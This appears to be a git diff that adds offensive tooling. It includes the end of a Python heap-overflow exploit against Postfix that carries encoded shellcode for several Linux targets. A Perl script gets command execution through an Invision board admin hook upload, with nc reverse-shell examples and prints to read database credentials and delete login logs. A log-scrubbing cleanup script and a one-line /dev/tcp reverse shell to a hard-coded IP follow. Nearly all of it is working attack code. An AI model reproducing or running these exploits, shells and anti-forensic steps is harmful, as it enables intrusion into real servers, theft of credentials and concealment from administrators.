+plain_cmdshellcode_length = len(plain_cmdshellcode); + +#encode shellcode to all alphanumeric +if(justcrash ==0): + final_encoded_shellcode = DULEncode(plain_cmdshellcode); + final_encoded_shellcode_length = len(final_encoded_shellcode); + +# +# ______________________ +# =========================[ Generate Messages ]============================= +# ---------------------- + +if (crashloop == 1): + print "Crash loop start\n" + while(1): + crashLoop(target_ip) +elif (gen2==0): + while(1): + if(keep_socket == 1): + #for some versions, + #keep an open socket across the crash messages and the exploit messages. + #for some reason, if we close the socket after the crash, cleanup starts + #up again and screws up the heap. + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((target_ip, target_port)) + data = s.recv(1024) + print "server: %s" % data + data ="helo %s\r\n" % helo_hostname + print "client: %s" % data + s.send(data) + data = s.recv(1024) + + #crashCleanup loops through sending packets with long headers designed to crash + #the cleanup process. We know cleanup has crashed when we receive a '451 Error: + # queue file write error' - if we send the exploit immediately, it will attack + #a pristine, unsuspecting heap. rock. + message="" + if(nocrash == 0 and only99 == 0): + if(keep_socket): + crashCleanup2(target_ip,s) + else: + crashCleanup(target_ip) + print "Got crash!" + if(justcrash == 1 ): + "Exiting..\n" + sys.exit(0) + + + #the cleanup process by default only processes 100 messages at a time + #if we know the state, we can predict when we get a clean heap + #after a crash+closed socket, cleanup will come back up and process + #the last message- or something. At any rate, sending 99 messages + #will reliably cause it to exit + #NOTE: this method is kind of lame b/c if anyone sends a message + #during our 99, the count gets off. + if(do99 == 1 or only99 == 1): + print "Sending 99 messages to force cleanup exit." + message="" + message += "Return-Path: \r\n" + message += "From: \r\n" + message += "Date: This is \r\n" + message += "Subject: test message\r\n" + message += "This is a test message. Please ignore.\r\n" + message += alphanums[g.randrange(len(alphanums))] * g.randrange(2,300) + #keep the same socket for the 99msgs + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((target_ip, target_port)) + data = s.recv(1024) + print "server: %s" % data + + for j in range(0,99): + print "Message %d" %j + sendMsg2(target_ip,message,s) + time.sleep(sleep99) + + if(only99 ==1): + sys.exit(0) + + #this may need to be tuned for specific targets. The idea here is that you + #want to give the process enough time to exit- otherwise it seems that + #postfix starts up cleanup differently and it screws up the stack. + print "A moment of silence for the process we just killed.\n" + time.sleep(afterCrashSleep) + + if(keep_socket == 0): + #for some versions, + #keep an open socket across the crash messages and the exploit messages. + #for some reason, if we close the socket after the crash, cleanup starts + #up again and screws up the heap. + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((target_ip, target_port)) + data = s.recv(1024) + print "server: %s" % data + + for i in range(0,number_of_messages): + print "Generating message %d:" %(i) + message="" + + message_name = msg_prefix + "%d" %(i) + + message +="Return-Path:" + if(shellcode_at_msg == i and shellcode_at_hdr == 0): + print("Message %d, Header 0: INSERTING SHELLCODE: total length: %d" % (i,buffer_lengths[i][0])) + if (final_encoded_shellcode_length < max_shellcode_len): + for jmps in range(0,(jmpSledSize)/3): + message += "\xeb\x7f\x90" + message +='C' * (max_shellcode_len - final_encoded_shellcode_length - (jmpSledSize + postShellcodePad)) + else: + print "Warning: shellcode too long!" + + message +=shellcode_front + message +=final_encoded_shellcode + message += 'C' * postShellcodePad + + if(address_search==1): + addresses = getNextAddress(addresses) + + message +=addresses + message +='E' * (buffer_lengths[i][0]-shellcode_front_len-max_shellcode_len-addresses_len) + else: + print("Message %d, Header 0: length: %d" % (i,buffer_lengths[i][0])) + message +='A'*buffer_lengths[i][0] + + message +=": This is the name\r\n" + message +="From:" + if(shellcode_at_msg == i and shellcode_at_hdr == 1): + + print("Message %d, Header 1: INSERTING SHELLCODE: total length: %d" % (i,buffer_lengths[i][1])) + if (final_encoded_shellcode_length < max_shellcode_len): + for jmps in range(0,(jmpSledSize)/3): + message += "\xeb\x7f\x90" + message +='C' * (max_shellcode_len - final_encoded_shellcode_length - (jmpSledSize + postShellcodePad)) + else: + print "warning shellcode too long!" + + message +=shellcode_front + message +=final_encoded_shellcode + message += 'C' * postShellcodePad + if(address_search==1): + addresses = getNextAddress(addresses) + message +=addresses + message +='E' * (buffer_lengths[i][1]-shellcode_front_len-max_shellcode_len-addresses_len) + else: + print("Message %d, Header 1: length: %d" % (i,buffer_lengths[i][1])) + message +='B'*buffer_lengths[i][1] + + message +=": This is the name\r\n" + message +="Date:" + if(shellcode_at_msg == i and shellcode_at_hdr == 2): + nop_sled_size = len(shellcode_front) + (max_shellcode_len - final_encoded_shellcode_length) + len("Date:") + print("Message %d, Header 2: INSERTING SHELLCODE: total length: %d" % (i,buffer_lengths[i][2])) + if (final_encoded_shellcode_length < max_shellcode_len): + for jmps in range(0,(nop_sled_size-len("Date:")-135)/3): + message += "\xeb\x7f\x90" + if((nop_sled_size-len("Date:")-135)%3 == 2): + message += "\x90\x90" + elif((nop_sled_size-len("Date:")-135)%3 == 1): + message += "\x90" + message +='C' * (max_shellcode_len - final_encoded_shellcode_length - (nop_sled_size-len("Date:")-135)) + else: + print "warning shellcode too long!" + message +=shellcode_front + message +=final_encoded_shellcode + if(address_search==1): + addresses = getNextAddress(addresses) + + message +=addresses + message +='E' * (buffer_lengths[i][2]-shellcode_front_len-max_shellcode_len-addresses_len) + else: + print("Message %d, Header 2: length: %d" % (i,buffer_lengths[i][2])) + message +='C'*buffer_lengths[i][2] + + message +=": This is the name\r\n" + print "Sending message %d!" %i + response =sendMsg2(target_ip, message,s) + time.sleep(.5) + + data = "quit\r\n" + s.send(data) + data = s.recv(1024) + s.close() + if(address_search == 1): + time.sleep(loopSleep) + continue + else: + break +### ENTERSEED Generation 2 ### +#for now, it works for SuSE 9.2 +elif(gen2==1): + done = 0 + search_state = 0 + step1 = initial_step1 + step2 = initial_step2 + offset1 = initial_offset1 + offset2 = initial_offset2 + while (not done): + print "Timestamp " + time.strftime("%m/%d/%Y %H:%M:%S") + print "Corruption Offset 1: %s" % offset1 + print "Corruption Offset 2: %s" % offset2 + #for some versions, + #keep an open socket across the crash messages and the exploit messages. + #for some reason, if we close the socket after the crash, cleanup starts + #up again and screws up the heap. + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((target_ip, target_port)) + data = s.recv(1024) + print "server: %s" % data + if(nohelo == 0): + data ="helo %s\r\n" % helo_hostname + #print "client: %s" % data + s.send(data) + data = s.recv(1024) + + #crashCleanup loops through sending packets with long headers designed to crash + #the cleanup process. We know cleanup has crashed when we receive a '451 Error: + # queue file write error' - if we send the exploit immediately, it will attack + #a pristine, unsuspecting heap. rock. + message="" + if(nocrash == 0): + print "Attempting to crash cleanup process." + crashCleanup3(target_ip,s) + print "Got crash! " + + if(justcrash == 1): + print "Exiting..\n" + sys.exit(0) + + print "A moment of silence for the process we just killed.\n" + #this may need to be tuned for specific targets. The idea here is that you + #want to give the process enough time to exit- otherwise it seems that + #postfix starts up cleanup differently and it screws up the stack. + time.sleep(afterCrashSleep) + + print "Generating first message: " + if(target=="SUSE91"): + message="" + message += "Return-Path:%s: %s %s %s %s<%s@%s.%s>\r\n" % (getRandAlphaNums(671+step1),getRandAlphaNums(4),getRandAlphaNums(2),\ + getRandAlphaNums(3),getRandAlphaNums(4),getRandAlphaNums(4),getRandAlphaNums(10),getRandAlphaNums(3)) + message += "Date:%s\r\n" % (getRandAlphaNums(1071)) + if(target=="SUSE92"): + message="" + message += "Return-Path:%s: %s %s %s %s<%s@%s.%s>\r\n" % (getRandAlphaNums(671+step1),getRandAlphaNums(4),getRandAlphaNums(2),\ + getRandAlphaNums(3),getRandAlphaNums(4),getRandAlphaNums(4),getRandAlphaNums(10),getRandAlphaNums(3)) + message += "Date:%s\r\n" % (getRandAlphaNums(1071)) + elif (target=="DEBIAN31"): + message="" + message += "Return-Path:%s: %s %s %s %s<%s@%s.%s>\r\n" % (getRandAlphaNums(751),getRandAlphaNums(4),getRandAlphaNums(2),\ + getRandAlphaNums(3),getRandAlphaNums(4),getRandAlphaNums(4),getRandAlphaNums(10),getRandAlphaNums(3)) + message += "Date:%s\r\n" % (getRandAlphaNums(1886)) + elif (target=="RHEL3.6"): + message="" + #message += "Return-Path:%s: %s %s %s %s<%s@%s.%s>\r\n" % (getRandAlphaNums(791+offset1),getRandAlphaNums(4),getRandAlphaNums(2),\ + message += "Return-Path:%s: %s %s %s %s<%s@%s.%s>\r\n" % (getRandAlphaNums(751+offset1),getRandAlphaNums(4),getRandAlphaNums(2),\ + getRandAlphaNums(3),getRandAlphaNums(4),getRandAlphaNums(4),getRandAlphaNums(10),getRandAlphaNums(3)) + message += "Date:%s\r\n" % (getRandAlphaNums(1886)) + + response = sendMsg2(target_ip,message,s) + if(response[0:3] != "250" and not bruteforce): + print "Got unexpected crash. What did you do?" + break + time.sleep(.5) + print "Generating second message: " + print "s1: %s s2: %s\n" % (step1, step2) + + if(target=="SUSE91"): + message="" + message += "Return-Path:%s<%s>\r\n" % (getRandAlphaNums(624+step2),getRandAlphaNums(19)) + part = "From:%s<%s>\r\n" % (getRandAlphaNums(final_encoded_shellcode_length*3) + '\x90' * (final_encoded_shellcode_length*2 - 43) + '\x01\x01\x01' + '\x90' * 35 + '\x83\xEF\xD6\x8B\xCF' + final_encoded_shellcode + getRandAlphaNums(3443-(final_encoded_shellcode_length*6))+'\x77\x1b\x76\x19'+ getRandAlphaNums(5)+'\xff\xff\xff'+ getRandAlphaNums(12)+ '\xE4\x55\x05\x08' + 'C' + '\x25\x01\x01\x01\x01\x25\x10\x10\x10\x10\x20\x43\x4f\x21\x43\x50\x50\x2c\x17\x08\x43\x4f\x58\x2d\x46\x0f\x01\x01\x05\x7f\x01\x01\x01\x09\x43\x50\x53\x58\x2d\x74\x0e\x01\x01\x05\x01\x01\x01\x01\x50\x59' + getRandAlphaNums(388) , getRandAlphaNums(19)) + message += part + #print "%s\r\n" % part + elif(target=="SUSE92"): + message="" + message += "Return-Path:%s<%s>\r\n" % (getRandAlphaNums(624+step2),getRandAlphaNums(19)) + part = "From:%s<%s>\r\n" % (getRandAlphaNums(final_encoded_shellcode_length*3) + '\x90' * (final_encoded_shellcode_length*2 - 43) + '\x01\x01\x01' + '\x90' * 35 + '\x83\xEF\xD6\x8B\xCF' + final_encoded_shellcode + getRandAlphaNums(3443-(final_encoded_shellcode_length*6))+'\x77\x1b\x76\x19'+ getRandAlphaNums(5)+'\xff\xff\xff'+ getRandAlphaNums(12)+ '\xB2\xE1\x04\x08' + 'C' + '\x25\x01\x01\x01\x01\x25\x10\x10\x10\x10\x20\x43\x4f\x21\x43\x50\x50\x2c\x17\x08\x43\x4f\x58\x2d\x46\x0f\x01\x01\x05\x7f\x01\x01\x01\x09\x43\x50\x53\x58\x2d\x74\x0e\x01\x01\x05\x01\x01\x01\x01\x50\x59' + getRandAlphaNums(388) , getRandAlphaNums(19)) + message += part + #print "%s\r\n" % part + elif(target=="DEBIAN31"): + padding = "A" * (2389-final_encoded_shellcode_length-26) + getstable = '\x77\x1b\x76\x19'+getRandAlphaNums(5)+'\xff\xff\xff'+getRandAlphaNums(12)+ '\x93\x25\x01\x40' + getRandAlphaNums(1) + shellcode_offset = - len(final_encoded_shellcode + padding) + fixecx= "\x81\xc1%c%c%c%c" % ( shellcode_offset & 0xff,\ + (shellcode_offset >> 8) & 0xff,\ + (shellcode_offset >> 16) & 0xff,\ + (shellcode_offset >> 24) & 0xff) + jumpbacklen = shellcode_offset - len(fixecx + getstable) - 5 + jumpback = "\xe8%c%c%c%c" % ( jumpbacklen & 0xff,\ + (jumpbacklen >> 8) & 0xff,\ + (jumpbacklen >> 16) & 0xff,\ + (jumpbacklen >> 24) & 0xff) + message="" + message += "Return-Path:%s<%s>\r\n"% (getRandAlphaNums(755),getRandAlphaNums(19)) + message += "Date:%s<%s>\r\n" % ( final_encoded_shellcode + padding + getstable + fixecx + jumpback + getRandAlphaNums(568+47) , getRandAlphaNums(19)) + elif(target=="RHEL3.6"): + #padding = "A" * (2389-final_encoded_shellcode_length-26+300-36+offset2) + #padding = "A" * (2389-final_encoded_shellcode_length-26+offset2-6) + #getstable = '\x77\x1b\x76\x19'+getRandAlphaNums(5)+'\xff\xff\xff'+getRandAlphaNums(12)+ '\xfc\x07\x06\x08' + getRandAlphaNums(1) + getstable = '\x77\x1b\x76\x19'+getRandAlphaNums(5)+'\xff\xff\xff'+getRandAlphaNums(12)+ '\xfc\x07\x06\xff' + getRandAlphaNums(1) + padding = getstable * ((2389-final_encoded_shellcode_length-26+offset2-6)/len(getstable)) + padding = "A" * ((2389-final_encoded_shellcode_length-26+offset2-6) % len(getstable))+padding + shellcode_offset = - len(final_encoded_shellcode + padding) + fixecx= "\x81\xc1%c%c%c%c" % ( shellcode_offset & 0xff,\ + (shellcode_offset >> 8) & 0xff,\ + (shellcode_offset >> 16) & 0xff,\ + (shellcode_offset >> 24) & 0xff) + jumpbacklen = shellcode_offset - len(fixecx + getstable) - 5 + jumpback = "\xe8%c%c%c%c" % ( jumpbacklen & 0xff,\ + (jumpbacklen >> 8) & 0xff,\ + (jumpbacklen >> 16) & 0xff,\ + (jumpbacklen >> 24) & 0xff) + message="" + message += "Return-Path:%s<%s>\r\n"% (getRandAlphaNums(755),getRandAlphaNums(19)) + message += "Date:%s<%s>\r\n" % (fixecx + final_encoded_shellcode + padding + getstable + jumpback , getRandAlphaNums(19)) + response = sendMsg2(target_ip, message,s) + print "response: %s" % response + if(bruteforce): + if(response[0:3] == "250" ): + if(extratrigger == 1): + print "Cleanup did not crash - attempting extra trigger." + nocrash = 1 + done = 0 + extratrigger = 2 + else: + print "Cleanup did not crash after exploit. Searching first offset" + if(extratrigger == 2): + extratrigger = 1 + nocrash = 0 + if(fabs(offset1) >= max_offset1): + step1 = -step1 + offset1 = initial_offset1 + step1 + else: + offset1 = offset1 + step1 + if(search_state == 2): + search_state = 0 + print "Resetting offset2" + offset2 = 0 + step2 = initial_step2 + elif(search_state == 1): + search_state = 2 + step2 = -step2 + offset2 =initial_offset2 + step2 + if(randomoffset1): + offset1 = g.randrange(-max_offset1,max_offset1) + elif(response[0:3] != "250"): + nocrash = 0 + if(holdoffset2): + print "Holding offset2, searching first offset" + if(fabs(offset1) >= max_offset1+initial_offset1): + step1 = -step1 + offset1 = initial_offset1 + step1 + else: + offset1 = offset1 + step1 + if(randomoffset1): + offset1 = g.randrange(-max_offset1,max_offset1) + elif(response[0:3] == "ERR"): + print "Got Error (ERR)! Searching first offset" + if(fabs(offset1) >= max_offset1+initial_offset1): + step1 = -step1 + offset1 = initial_offset1 + step1 + else: + offset1 = offset1 + step1 + if(randomoffset1): + offset1 = g.randrange(-max_offset1,max_offset1) + elif(response[0:3] == "451"): + print "Got Error (451)! Searching second offset" + if(fabs(offset2) >= max_offset2+initial_offset2): + if(search_state == 2): + search_state = 0 + print "Stepping offset1 and resetting offset2" + offset1 = offset1 + step1 + offset2 = initial_offset2 + else: + search_state = 2 + step2 = -step2 + offset2 = initial_offset2 + step2 + else: + search_state = 1 + offset2 = offset2 + step2 + s.close() + time.sleep(afterCrashSleep) + else: + print "Something else happened." + sys.exit(1) + time.sleep(1) + else: + if(response[0:3] == "250"): + if(extratrigger == 1): + print "Cleanup did not crash - attempting extra trigger." + nocrash = 1 + done = 0 + extratrigger = 0 + else: + print "Cleanup did not crash - something didn't work..." + sys.exit(0) + else: + print "Looks good from here - did you get a callback?" + done = 1 + except socket.error: + print "Socket error in main loop" + sys.exit(0) + diff --git a/Linux/bin/envisioncollision b/Linux/bin/envisioncollision new file mode 100755 index 0000000..13fe353 --- /dev/null +++ b/Linux/bin/envisioncollision @@ -0,0 +1,319 @@ +#!/usr/bin/env perl + +use MIME::Base64; +use Getopt::Long; +use Getopt::Std; +use IO::Socket; +use URI::Escape; +use LWP::UserAgent; +use HTTP::Request::Common; +use HTTP::Cookies::Netscape; +use Digest::MD5 qw(md5_hex md5); +use strict; + +$| = 1; # unbuffered output + +my ($url,$ua,$host,$content,$user,$passwd,$port,$debug); +my ($enter, $u, $details, $uninstall, $page); +our($opt_p,$opt_h,$opt_c,$opt_i,$opt_U,$opt_P,$opt_t,$opt_s,$opt_d,$opt_D); + + +sub usage{ + print " +usage: $0 -i -p -U -P -D -c + + -i IP + -p # [default port = 80] + -t [determine if URL exists, commands are not sent] + -h help + -c \"Commands\" + -s [request https, default is http] + -d debug + -D directory + -U user + -P password + +Examples: +Window 1: nc -vv -l -p 101 +Window 2: nc -vv -l -p 102 +Window 3: $0 -Uadmin -Ppassword -i127.0.0.1 -Dipboard -c\"sh&0 2>&0\" +Window 3: $0 -Uadmin -Ppassword -i127.0.0.1 -Dipboard -c\"sleep 500|nc 10.1.1.1 101|sh|nc 10.1.1.1 102\" +Window 3: $0 -Uadmin -Ppassword -i127.0.0.1 -Dipboard -c\"sleep 500|/usr/bin/telnet 10.1.1.1 101|sh|/usr/bin/telnet 10.1.1.1 102\" +"; + exit; +} + +getopts('c:i:u:p:hstU:dP:D:'); + +if($opt_h || !$opt_i || !$opt_D || !$opt_c && !$opt_t){ + usage(); +} + +if($opt_d){ + $debug = 1; +} + +if(!$opt_s){ + if(!$opt_p){ + $port = 80; + } + else { + $port = $opt_p; + } + $host = "http://$opt_i:$port/$opt_D"; +} +else{ + if(!$opt_p){ + $port = 443; + } + else { + $port = $opt_p; + } + $host = "https://$opt_i:$port/$opt_D"; +} + +$ua = LWP::UserAgent->new; +$ua->cookie_jar( HTTP::Cookies::Netscape->new(file => "./cookie.jar", ignore_discard => 1) ); #file does not work all the time +$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"); + +open(OUT,">>", $0 . ".out"); + +if($opt_t){ + $url = $host . "/"; + $u = get($url); + print $u; +} +if(!$opt_t){ + ################################## + # login with creds/get cookie + $user = "admin"; + $passwd = "nothing"; + if(defined($opt_U)){ + $user = $opt_U; + } + if(defined($opt_P)){ + $passwd = $opt_P; + } + $url = $host . "/admin/index.php?adsess=&app=core&module=login&do=login-complete"; + $content = "qstring=&username=" . $user . "&password=" . $passwd; + $u = post($url,$content); + print $u; + print OUT $u; + ($enter) = $u =~ m/adsess=(\S+)&'>\( Click here if you do not wish to wait/; + print "enter $enter\n"; + + if(length($enter) <= 0){ + print "\nLogin failed. Exiting.\n"; + exit; + } + + $url = $host . "/admin/index.php?adsess=" . $enter . ""; + $u = get($url); + print $u; + print OUT $u; + + write_page($opt_c); + $url = $host . "/admin/index.php?adsess=" . $enter . "&app=core&module=applications§ion=hooks&do=install_hook"; + $u = post_form_data($url); + print $u; + print OUT $u; + + $url = $host . "/admin/index.php?adsess=" . $enter . "&app=core&module=applications§ion=hooks&do=hooks_overview"; + $u = get($url); + print $u; + print OUT $u; + + ($details) = $u =~ m/\/admin\/index.php?(.*?)'>View Full Details/; + print "\ndetails $details\n"; + $details =~ s/&/&/g; + print "\ndetails $details\n"; + + ($uninstall) = $u =~ m/\/admin\/index.php?(.*?)"\);'>Uninstall Hook/; + print "\nuninstall $uninstall\n"; + $uninstall =~ s/&/&/g; + + $url = $host . "/admin/index.php" . $details; + $u = get($url); + print $u; + print OUT $u; + + ($page) = $u =~ m/(boardIndexpage_.*php)/; + print "\npage $page\n"; + + $url = $host . "/hooks/" . $page; + $u = get($url); + + print $u; + print OUT $u; + print "\n$0 will pause for 10 seconds\n"; + sleep 10; + + $url = $host . "/admin/index.php" . $uninstall; + $u = get($url); + print $u; + print OUT $u; + + $url = $host . "/admin/index.php?adsess=" . $enter . "&module=login&do=login-out"; + $u = get($url); + print $u; + print OUT $u; + + print " + +unset HISTFILE HISTFILESIZE HISTSIZE +date; date -u +ls -lart +touch -r boardIndexCalendar_* . +ls -lart .. +touch -r boardIndexCalendar_* ../uploads +cat ../conf_global.php + +export H=`grep sql_host ../conf_global.php|cut -d\\' -f4` +export D=`grep sql_database ../conf_global.php|cut -d\\' -f4` +export U=`grep sql_user ../conf_global.php|cut -d\\' -f4` +export P=`grep sql_pass ../conf_global.php|cut -d\\' -f4` +export T=`grep sql_tbl_prefix ../conf_global.php|cut -d\\' -f4`admin_login_logs +echo \$H +echo \$D +echo \$U +echo \$P +echo \$T +mysql \$D --host=\$H --user=\$U --password=\"\$P\" -e \"select * from \$T\"|tail +mysql \$D --host=\$H --user=\$U --password=\"\$P\" -e \"select * from \$T where length(admin_post_details) < 215\" +mysql \$D --host=\$H --user=\$U --password=\"\$P\" -e \"delete from \$T where length(admin_post_details) < 215\" +mysql \$D --host=\$H --user=\$U --password=\"\$P\" -e \"select * from \$T where length(admin_post_details) < 215\" + +"; + +} + +################################## +sub get{ + my($url) = @_; + + print "\nGET URL: $url\n\n"; + my $req = HTTP::Request->new(GET => $url); + my $res = $ua->request($req); + return response($res,$url); +} + +################################## +sub post{ + my($url,$content) = @_; + + print "\nPOST URL: $url\n"; + print "\nContent: $content\n\n"; + my $req = HTTP::Request->new(POST => $url); + + $req->content_type('application/x-www-form-urlencoded'); + $req->content($content); + + my $res = $ua->request($req); + return response($res,$url); +} + +################################## +sub post_form_data{ + my($url) = @_; + + print "\nPOST URL: $url\n"; + print "\nContent: %content\n\n"; + my $req = HTTP::Request->new; + + #$req->content_type('multipart/form-data'); + #$req->content(%content); + + my $res = $ua->request(POST $url, + Content_Type => 'form-data', + Content => [ + FILE_UPLOAD => ["page.xml"], + ]); + return response($res,$url); +} + +################################## +sub response{ + my($req,$url) = @_; + + #print "\nURL: $url\n\n"; + print $req->status_line, "\n"; + print $req->headers_as_string,"\n"; + print OUT $req->content; + + return($req->content); +} + +sub write_page{ + my($cmd) = @_; + + open(FILE,">", "page.xml"); + my $data =' + + + + page + Shows page on board index + Invision Power Services, Inc + + + + + 1.0.0 + 10000 + + unread + + + + + boardIndexpage.php + templateHooks + boardIndexpage + + registry = ipsRegistry::instance(); + $this->memberData =& $this->registry->member()->fetchMemberData(); + } + + public function getOutput() + { + //----------------------------------------- + // Notifications library + //----------------------------------------- + + $classToLoad = IPSLib::loadLibrary( IPS_ROOT_PATH . \'/sources/classes/member/notifications.php\', \'notifications\' ); + $notifyLibrary = new $classToLoad( $this->registry ); + $notifyLibrary->setMember( $this->memberData ); + return $notifyLibrary->getBoardIndexHook(); + } +}]]> + + + + + + + + + + + + + + +'; + print FILE $data; + close(FILE); + + +} diff --git a/Linux/bin/epichero/cleanup.script b/Linux/bin/epichero/cleanup.script new file mode 100755 index 0000000..6178ff9 --- /dev/null +++ b/Linux/bin/epichero/cleanup.script @@ -0,0 +1,107 @@ +# This script should be loaded on the target machine and +# run in order to reset the timestamps of the files and directories +# used to gain access and clean up the log files. +# Get the file names for the timestamps from the log file. + +if [ `id -u` -eq 0 ] +then + # The following requires root priviledges + + # Look at the webupgrade script in /opt/ws to see if it has + # been modified. Also see if the backup copy exists in /tftpboot + + CNT=`grep "/opt/ws/functions" /opt/ws/webupgrade | wc -c` + + if [ $CNT -ne 20 ] + then + # The webupgrade script has been modified by eh + + ls /tftpboot/.[0-9]* >/dev/null 2>&1 + + if [ $? -eq 0 ] + then + TMPFILES=`ls /tftpboot/.[0-9]*` + + # The backup copy exists + if [ $? -eq 0 ] + then + for i in $TMPFILES + do + echo "Check $i" + # See if this is the webupgrade script + # If so, remove the /opt/ws/webupgrade file + # and move the backup file in its place + # to preserve the inode number. + grep webupgrade $i >/dev/null 2>&1 + if [ $? -eq 0 ] + then + echo "Restore webupgrade from $i" + rm -f /opt/ws/webupgrade + mv $i /opt/ws/webupgrade + break + fi + done + fi + fi + fi + + IPADDR=`grep "runCmd" /var/log/httpd/error_log | grep "echo" | cut -d '[' -f 4 | cut -d']' -f 1 | cut -d' ' -f2 | head -1` + + if [ "$IPADDR" != "" ] + then + # Clean up /var/log/httpd log files + + cd /var/log/httpd + LOGS=`ls access_log* error_log* ssl_requests.log*` + for i in $LOGS + do + grep $IPADDR $i >/dev/null 2>&1 + if [ $? -eq 0 ] + then + echo "Remove $IPADDR from $i" + grep -v $IPADDR $i > /tmp/.new_log.$$ + cp /tmp/.new_log.$$ $i + rm -f /tmp/.new_log.$$ + fi + done + fi + + # Clean up /var/log/secure files + + cd /var/log + + for STR in \ + "/opt/ws/webupgrade . /opt/ws/functions | . /tmp/." \ + "sudo: init : TTY=unknown ; PWD=/opt/ecs/web/auth-cgi-bin ; USER=root ; COMMAND=/opt/ws/webupgrade" \ + "sudo: init : TTY=unknown ; PWD=/opt/ecs/web/auth-cgi-bin ; USER=root ; COMMAND=/etc/tripwire/cmds" + do + grep "$STR" secure* >/dev/null 2>&1 + if [ $? -eq 0 ] + then + LOGS=`ls secure*` + for i in $LOGS + do + grep "$STR" $i >/dev/null 2>&1 + if [ $? -eq 0 ] + then + echo "Clean $STR from $i" + grep -v "$STR" $i >/tmp/new_log.$$ + cp /tmp/new_log.$$ $i + rm -f /tmp/new_log.$$ + fi + done + fi + done + + # Clean up /var/iglut/upg_status.dat file + + cd /var/iglut + grep "status=66" upg_status.dat >/dev/null 2>&1 + if [ $? -eq 0 ] + then + grep -v "status=66" upg_status.dat >/tmp/new_log.$$ + grep -v "Upgrade failed. Unable to transfer the license file to the target unit being upgraded." /tmp/new_log.$$ > /tmp/new_log2.$$ + cp /tmp/new_log2.$$ upg_status.dat + rm -f /tmp/new_log.$$ /tmp/new_log2.$$ + fi +fi diff --git a/Linux/bin/epichero/eh b/Linux/bin/epichero/eh new file mode 100755 index 0000000..dd12d2e Binary files /dev/null and b/Linux/bin/epichero/eh differ diff --git a/Linux/bin/epichero/eh.1.1.0.0 b/Linux/bin/epichero/eh.1.1.0.0 new file mode 100755 index 0000000..dd12d2e Binary files /dev/null and b/Linux/bin/epichero/eh.1.1.0.0 differ diff --git a/Linux/bin/epichero/reverse.shell.script b/Linux/bin/epichero/reverse.shell.script new file mode 100755 index 0000000..34525d8 --- /dev/null +++ b/Linux/bin/epichero/reverse.shell.script @@ -0,0 +1 @@ +sh >/dev/tcp/206.210.129.25/5424 <&1 2>&1 diff --git a/Linux/bin/epichero/server.crt b/Linux/bin/epichero/server.crt new file mode 100755 index 0000000..14a3447 --- /dev/null +++ b/Linux/bin/epichero/server.crt @@ -0,0 +1,48 @@ +Certificate: + Data: + Version: 1 (0x0) + Serial Number: + 50:24:b4:b2:20:06:05:17:12:09:31 + Signature Algorithm: md5WithRSAEncryption + Issuer: C=US, O=Avaya Inc., OU=Media Server, CN=Avaya Call Server + Validity + Not Before: May 17 16:09:31 2006 GMT + Not After : May 9 16:09:31 2036 GMT + Subject: C=US, O=Avaya Inc., OU=s8700, CN=10.62.9.101 + Subject Public Key Info: + Public Key Algorithm: rsaEncryption + RSA Public Key: (1024 bit) + Modulus (1024 bit): + 00:da:f2:f1:cc:b6:5c:6f:76:62:d1:a7:4c:d0:54: + 63:73:ec:0d:2c:13:01:76:a4:67:0a:a8:d4:69:14: + 1c:f1:bf:f4:47:62:a4:26:04:98:f3:f7:aa:9a:48: + 84:bb:92:67:4b:bf:84:56:a5:ee:ec:ab:90:ed:c0: + 70:ab:0b:91:83:db:26:79:9c:8a:1c:84:53:4b:9f: + ff:c4:99:58:a1:48:d8:f4:fa:0e:c0:49:d1:4b:38: + 62:2a:27:dc:a0:f8:ab:e2:50:a6:38:a7:0a:b9:ef: + 96:23:91:90:7f:85:d7:b6:0b:4c:ab:4e:90:77:77: + e8:cd:78:91:a4:e2:fa:e2:7d + Exponent: 65537 (0x10001) + Signature Algorithm: md5WithRSAEncryption + 3b:d6:02:cc:46:39:87:b2:5b:87:23:75:a8:c2:c0:d1:2d:79: + 63:3c:45:d7:2c:da:fb:71:f4:c2:10:b2:5e:5e:b9:6b:17:1d: + 8f:d6:6e:d8:48:94:b8:8e:18:4c:43:1a:c8:73:c1:d1:68:3e: + b3:b2:b9:3d:01:ff:e1:86:36:f7:50:f4:2e:de:78:3a:02:3c: + 0c:76:ab:0a:86:4a:b1:d5:10:6a:2b:e6:85:98:6a:0c:18:c2: + a1:29:39:b4:99:b9:35:46:39:4f:74:9d:d9:48:69:cb:d0:56: + 70:80:50:f9:26:23:64:93:b2:f0:f0:47:1c:be:31:9d:e3:f0: + 8e:07 +-----BEGIN CERTIFICATE----- +MIICFzCCAYACC1AktLIgBgUXEgkxMA0GCSqGSIb3DQEBBAUAMFUxCzAJBgNVBAYT +AlVTMRMwEQYDVQQKEwpBdmF5YSBJbmMuMRUwEwYDVQQLEwxNZWRpYSBTZXJ2ZXIx +GjAYBgNVBAMTEUF2YXlhIENhbGwgU2VydmVyMB4XDTA2MDUxNzE2MDkzMVoXDTM2 +MDUwOTE2MDkzMVowSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkF2YXlhIEluYy4x +DjAMBgNVBAsTBXM4NzAwMRUwEwYDVQQDEwwxMzAuNjIuOS4xMDEwgZ8wDQYJKoZI +hvcNAQEBBQADgY0AMIGJAoGBANry8cy2XG92YtGnTNBUY3PsDSwTAXakZwqo1GkU +HPG/9EdipCYEmPP3qppIhLuSZ0u/hFal7uyrkO3AcKsLkYPbJnmcihyEU0uf/8SZ +WKFI2PT6DsBJ0Us4Yion3KD4q+JQpjinCrnvliORkH+F17YLTKtOkHd36M14kaTi ++uJ9AgMBAAEwDQYJKoZIhvcNAQEEBQADgYEAO9YCzEY5h7JbhyN1qMLA0S15YzxF +1yza+3H0whCyXl65axcdj9Zu2EiUuI4YTEMayHPB0Wg+s7K5PQH/4YY291D0Lt54 +OgI8DHarCoZKsdUQaivmhZhqDBjCoSk5tJm5NUY5T3Sd2Uhpy9BWcIBQ+SYjZJOy +8PBHHL4xnePwjgc= +-----END CERTIFICATE----- diff --git a/Linux/bin/epichero/server.key b/Linux/bin/epichero/server.key new file mode 100755 index 0000000..59df9c7 --- /dev/null +++ b/Linux/bin/epichero/server.key @@ -0,0 +1,15 @@ +-----BEGIN RSA PRIVATE KEY----- 